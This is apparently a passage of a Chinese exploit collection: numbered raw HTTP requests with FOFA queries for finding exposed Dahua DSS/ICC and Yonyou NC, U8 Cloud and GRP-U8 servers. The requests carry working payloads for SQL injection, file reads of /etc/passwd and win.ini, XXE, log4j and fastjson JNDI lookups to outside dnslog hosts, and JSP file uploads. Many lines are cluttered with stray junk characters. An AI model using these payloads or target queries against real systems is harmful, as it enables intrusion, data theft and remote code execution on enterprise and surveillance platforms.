' {% `; n/ C6 I* o) ZUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
8 P! ]/ A' {8 dAccept: */*
8 c, G4 h% T- i+ @  w& @' eAccept-Language: en
Accept-Encoding: gzip
8 ^5 D. ^1 m+ T6 G& p

17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
6 X4 s! M4 N8 B& Z) [* WHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" l( E% A& i9 _9 @9 jConnection: close
Content-Length: 345
, n1 ~; l: Y3 ~) `$ K% L9 LAccept-Encoding: gzip
: R, y9 V$ O( F' u# d
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
2 j% W4 f9 E8 O: P* V3 Z<s11:Body>
+ M1 R$ p5 k  w2 ^    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
: [5 F4 L6 n0 k; ]      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
' x7 G1 ^( ^9 W2 o+ T0 ?# J5 ]  </s11:Body>
+ q0 v/ ~: s6 I$ n</s11:Envelope>


0 H- t$ G1 F, t  d- `, W; x18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
) m4 ^& c7 G. J! AFOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
9 [9 Q% w+ T9 U4 \/ |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 C2 E6 p7 r5 |+ d* r3 E. r" oAccept-Encoding: gzip, deflate
' N( O6 {- T' HAccept: */*
9 ?/ D1 x8 d( x% w! {Connection: keep-alive

" Q$ F, h) m7 V; u+ ]% J1 i

1 A1 [' {. R) o  e. C4 {19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
( Y& {! I- K& j& n" z$ CHost:
$ _  W) E: n( r6 `# x/ aUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
3 f3 B0 ?  o" \Accept-Encoding: gzip, deflate
' b) j6 _( W" o; @Accept: */*
3 E2 M  u  i$ y9 |. d+ VConnection: keep-alive

5 N0 h3 s! n: i+ W+ q
2 N8 h6 ^2 }' L9 V# u3 Y20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
8 R+ F7 z2 A( u* y0 |4 U/ ZGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
* ?1 s* A) t5 ?5 t6 ZAccept: */*
Accept-Language: en
- x% A! ~2 D3 T$ A! F' kAccept-Encoding: gzip


21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
  E( B: K  t5 X/ \, o2 t, @# ]POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
% v0 A+ {% H" q% `( C- U; ~User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) T0 T6 l( s; G/ h% LContent-Length: 161
Accept-Encoding: gzip
Connection: close
7 S' ], U. Y% L+ ?  p0 g0 F$ ?Content-Type: application/json;charset=utf-8
" R9 x; e# {& E+ G4 [5 [
{
"a":{
3 s& Q  c7 |% C9 s6 p. o! ~& {   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
}
, Y0 j5 A" b% {. M
2 d4 X4 V, h  ?: I% X
- n2 V* H" t4 u5 M! o4 a22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
; U$ X+ Y. w3 }: RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8
6 g" A% \3 R6 s/ G& H2 ?: G
& r: p/ u8 [  ]1 U0 K( D{
"loginName":"${jndi:ldap://dnslog}"
. X; t5 c5 Z2 t' ?8 K}

' D  p9 j1 ?6 z1 x+ Q' o( M  H# m

+ b7 [9 E5 x/ g2 O( `23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
9 a$ N$ p  `* b: i: M: A( V+ dPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
  {) @  G7 F% Q; G+ Y1 q3 v& AHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
, F% O* L* a$ |0 tConnection: close

7 J: p$ N, q8 [' u+ e- n{
    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
* D7 e' j# F3 d& V: U6 Q- a        }""
}
7 d1 q) c: K7 a. Y% B% K2 W
. [( B+ F2 K9 `* }; D- y
( d" U+ E8 k4 ~- ?; f24. 用友NC 6.5 accept.jsp任意文件上传
8 W5 Y1 D" X$ m4 P+ v/ h2 c4 X3 xFOFA：icon_hash="1085941792"
' b. g% A% E0 v9 ~) RPOST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
. J3 `+ c% Q* {  L8 k& t( GConnection: close
Content-Length: 449
/ h4 J* o8 I- k1 r8 O4 NAccept: */*
+ `( D) L# w; H$ m' LAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

: Y/ C! u9 Q8 g- D* `-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
0 z2 Q3 j) ~# @9 }! ~1 m( ?Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
/ O) S- P; O. ]& c! w; kContent-Type: text/plain

7 ?+ @/ R5 v7 o. i) l  m( {<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
! s, Y( r4 J% P% nContent-Disposition: form-data; name="fname"
0 U; w6 g, v: h9 Y
\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
$ b- g/ e) X; p6 t-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

3 b" d  v+ T1 c( c( B' S& l6 x
25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
0 d. M4 z, \/ c  i$ V, L6 tHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
" h) r  N3 O7 p" l8 ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
. d9 z2 p* _' vAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
7 O4 _! Z/ {( ~* D1 ~6 L' k* d  AContent-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog

* j, [) y& s2 `: D  E
4 K  Q- V3 c0 B: [2 T* E* l3 ^
. z0 `! }% ~% \& A- p7 v26. 用友NC linkVoucher SQL注入
# f. u$ }6 F$ ~2 z) y- vFOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
9 Q. N7 t4 S( U1 F5 m9 fHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 i) [3 R- P' m0 PContent-Type: application/x-www-form-urlencoded
9 `) M' S$ C4 Z6 V- v! UAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

( l. r- r) v" F" n7 J& \6 p6 ?% }
27. 用友 NC showcontent SQL注入
/ V% X" T  f* h2 L3 J, W: JFOFA：icon_hash="1085941792"
+ z" L: Q  b* V) I* HGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
9 H% j  y$ O- X' z* XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
. X# Z4 k. d% |6 dAccept-Encoding: identity
4 E! t- V* W8 @) \Connection: close
1 W/ e: m9 x- E2 U  pContent-Type: text/xml; charset=utf-8


- d, p6 g/ t+ ]1 I% _' f28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
3 U# t; _- e1 I# N3 B# y  zHost: x.x.x.x
, v* [4 y# h* b! H/ J+ p0 v0 j5 E# pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
) C6 y: P& L: H! W% N0 jContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

3 p$ S8 C" u; _: G------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
* K2 f. V8 c: ?5 k( gContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
' e2 M, k0 Q+ e) Y# O- ]
! O; y, I0 G3 C  d7 Q: l4 w<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--


* i+ T, p" m( L) }/ H# M7 u0 x/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
5 S7 e) Q5 U8 V9 VGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
1 A2 C3 h$ i1 mHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
# p4 c2 T( V+ z! ^" V/ |1 O2 cContent-Type: application/x-www-form-urlencoded
* C  C0 R. z5 k4 [% }9 E( |/ ^0 `5 nAccept-Encoding: gzip, deflate
6 _5 i2 V! n5 C+ {4 ?# u/ MAccept: */*
6 \" z. n! W: I; h, b, V! AConnection: keep-alive
' q3 j0 R& Z& [
( R5 l6 \! X! G) s
; z/ r6 @" ]5 ~; s* R30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
9 d  Q1 }: h* i) q* NPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
) t; A& n. Z- PHost: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close
/ b2 f7 J1 C. w  K
% e, U4 o& R3 g------WebKitFormBoundaryH970hbttBhoCyj9V
- ~, x* X! Z% |Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--


31. 用友NC runStateServlet SQL注入
6 l/ e- w/ e% @6 Bversion<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
7 ?- y5 ^3 E& O# \GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
$ w9 a) T- Q- x/ U! `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
% k4 d7 M1 E$ L. k  z& z9 aContent-Type: application/x-www-form-urlencoded
, }0 F+ z6 m3 [& i( p6 k

4 @+ D/ Z* }. e1 K1 L; K5 i32. 用友NC complainbilldetail SQL注入
' t7 p- `# r6 P9 ~) pversion= NC633、NC65
FOFA：app="用友-UFIDA-NC"
( t6 j+ B! g$ l- SGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
# f' r* S" K8 iHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
# u9 ]' e- y$ s- r3 U- p8 pConnection: keep-alive
& _  Y% w0 s& N& a& M1 {( s2 ~& x

33. 用友NC downTax/download SQL注入
# J, y- G$ M* I/ E: I4 @version：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
- n+ p. U0 d' M6 p9 V& o, l0 ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 G# |* `) o/ tContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


; X# Z+ n4 I" w6 `0 C) I34. 用友NC warningDetailInfo接口SQL注入
, U. ~+ e4 s1 _  j  p+ FFOFA：app="用友-UFIDA-NC"
; s6 P+ g2 b- k) ^GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
; y' E5 C5 ?+ r1 h' O  W" CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 L; G) [3 P' D/ V7 bContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
) ?; g, k# g& r' E' R+ cAccept: */*
Connection: keep-alive
6 _2 C2 H- R# \
! F/ d: v9 M1 }# G- d
35. 用友NC-Cloud importhttpscer任意文件上传
+ u7 g  a: T, j7 u9 ZFOFA：app="用友-NC-Cloud"
2 e# h+ \5 M+ P: }POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
) f" g0 b1 d7 P: ?$ {8 k7 w4 \Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
$ ]9 |" c1 z* d- G* QAccept: */*
Connection: close
( l( |% S$ G# E2 \8 m5 c/ ?accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
# @6 I4 Y0 p6 }- n; R' ~Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
  |+ ]3 [% a/ I0 F
<%out.println(1111*1111);%>
5 d- P  A  O6 J--fd28cb44e829ed1c197ec3bc71748df0--


36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
9 V: \( Z# k! _# A; K" B* W7 DPOST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
: Q. {* y) z6 `# c! E& @- H' WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
# T; h& A$ B& U" f7 C6 S( B) ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 U" s0 g& ]  [# c( w0 zAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
5 X$ c' J6 }% C' R. r2 K8 vUpgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
) ]3 a/ u6 v# k; S, T

7 C3 m. H, v; e37. 用友NC-Cloud IUpdateService XXE
  x  x  p( M6 x: f; r+ t5 wFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
/ m- h1 m$ m- u# A# V  ~POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
/ c4 a* ]& b3 L  Y5 eHost: 192.168.40.130:8989
' q4 V5 _- E; a& [/ bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
9 c7 k, t! t- T) N* h. qContent-Length: 421
& L0 y- l4 t* ~+ |& K+ j' pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
% R7 ~; d( a+ Y; m( e0 Z  LConnection: close
Content-Type: text/xml;charset=UTF-8
+ n1 c$ }& u; S  I4 ~SOAPAction: urn:getResult
3 S; m/ d) s& E) d: s# rUpgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
5 F1 a9 h- v7 a  Q8 b9 U<soapenv:Body>
<iup:getResult>
<!--type: string-->
' F% _3 F% o7 L<iup:string><![CDATA[
2 B" ]( l! w5 q$ ^<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
8 G- [) e* v+ t3 X0 z& ~</iup:getResult>
! ^, f, {' j: s& F8 m9 [5 S! o</soapenv:Body>
</soapenv:Envelope>
% o( E" F6 k1 }2 m' ?. o
: n1 F& w, a3 V5 R1 z3 \
' E9 c2 ?6 ^/ G. P# V6 M9 X4 {
38. 用友U8 Cloud smartweb2.RPC.d XXE
4 i1 c; T. }6 e) _" }FOFA：app="用友-U8-Cloud"
' e4 O- T' F: _. K+ pPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
: T0 j- C  I; R: w8 UHost: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
/ V( X  P) U  X# a  I! ]Content-Length: 260
" T8 l' k$ L& oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
$ D2 i3 j2 m$ V- uAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
7 O7 @& ?7 R1 _7 aConnection: close
Content-Type: application/x-www-form-urlencoded
6 }# a; A7 |7 Y$ U. x5 `. G" Z5 h) M
( o. d( c2 Q+ H: m__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
2 Z3 S  y/ s0 O! I9 O

39. 用友U8 Cloud RegisterServlet SQL注入
6 c" j0 O( I8 lFOFA：title="u8c"
# _9 n: S5 N" j3 ]+ F4 YPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
5 A" x# {) t1 w9 D1 v- s2 ~Connection: close
Content-Length: 85
Accept: */*
Accept-Language: en
9 R' s: k0 p, e  m- Y, cContent-Type: application/x-www-form-urlencoded
6 \. H+ l0 K% |) BX-Forwarded-For: 127.0.0.1
! A6 M4 A; H. r: N* `4 F; iAccept-Encoding: gzip
' C: O5 E! [% e. m0 v& z: k$ r& Y4 O
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
" Q3 S9 n/ P& B9 q! L% {
; R) O0 q3 v! @; W6 ~
40. 用友U8-Cloud XChangeServlet XXE
, m/ |: o6 F! a+ R; o# A9 h) RFOFA：app="用友-U8-Cloud"
0 h4 T" a: N5 U7 K. APOST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
, ?% J1 H% D* @& r4 T% X- CUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close
* @% \, k% u/ _+ |+ {( T
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
! m2 R0 j6 `8 n; D3 @
$ l5 `2 L3 n5 X# S- e
0 {+ b/ e$ Z$ a/ a/ c0 m, N. N41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
4 F8 S- y" t) x' ~% N: |# TFOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( L+ i% \' B- R( ~+ q7 j- J5 BContent-Type: application/json
Accept-Encoding: gzip
Connection: close


* K' S$ |7 ]" A* u  }42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
, o# y/ a- v! qPOST /u8qx/SmartUpload01.jsp HTTP/1.1
7 H5 R, o* I! e$ v% i! s/ gHost: x.x.x.x
# u+ E' Y5 v, L5 I( {9 IContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
( O* N9 G( a  T* yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
* L' {* G# o" `& _$ o
- W, t* t! h. i0 BPAYLOAD


% b: _$ [, w3 S# [- j( J5 Ehttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
1 o6 ~/ [6 j' f$ b0 }+ k- g( l
+ c, F6 F3 G% n2 O43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
3 p0 G7 R: X- _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
% u+ q+ b0 H, ]& bAccept-Language: zh-CN,zh;q=0.9
  S  S; @7 {. Q2 \1 T/ s8 dConnection: close
SOAPAction:
! A( p" J6 f" M9 X5 R) k9 ZContent-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
   <soapenv:Body>
2 n8 B- `) ~0 f6 m1 F# B      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
! z, a% [+ A4 J$ L& G0 {      </ser:getUserNameById>
6 e$ w( v1 w/ i& O- b   </soapenv:Body>
6 \. K! g# R  Z</soapenv:Envelope>
* M& h. Z$ ^8 A5 e, ?' [  _. m# r6 P: @
* \" n% a3 u7 q; z) ~' E8 n$ J
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
; s) n! N- x! Q( q9 B, m* H/ CFOFA:app="用友-GRP-U8"
( n' w$ c& G4 u' G) W6 W" fGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
: h) [- x; x# G& j" F+ r- U+ p  z$ vHost: your-ip
6 w& T* s4 M9 Q9 H+ c" }2 |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ e* l" |+ F  s7 K; H0 }) KAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
- s& `; T, S8 @/ PConnection: close

. H, I. n% h, r/ i& j& {* }
45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
# U+ u& ~+ x( k4 o; G! C6 b& X/ fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Content-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* ?& @: G' `' g8 J9 Y- jContent-Type: application/x-www-form-urlencoded
* _* h* E" `1 ]; H4 q% f( OAccept-Encoding: gzip

reqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest

4 Z& I' n; c$ l! m: E
! X1 V  ^- y+ D0 {) Z3 d46. 用友GRP-U8 sqcxIndex.jsp SQL注入
8 U& u& I% ^" V( l6 \+ gFOFA：app="用友-GRP-U8"
6 Q% z8 f. V' ~7 kGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
# b% Q9 Y; h5 I9 L& A! CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
' Y, ?" P3 F; s- t; @- z. JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
: r- d9 F% A% U" YAccept-Language: zh-CN,zh;q=0.9
( Z, \) T: v3 oConnection: close

( V; @: a' j& x7 Y% w
47. 用友GRP A++Cloud 政府财务云 任意文件读取
8 s; w& _1 T4 j) j" v( A8 p2 M4 N3 {- JFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
$ B5 l  E" P" V& C' YCache-Control: max-age=0
4 T7 V$ c# K0 Z' u# M) \9 p$ }Upgrade-Insecure-Requests: 1
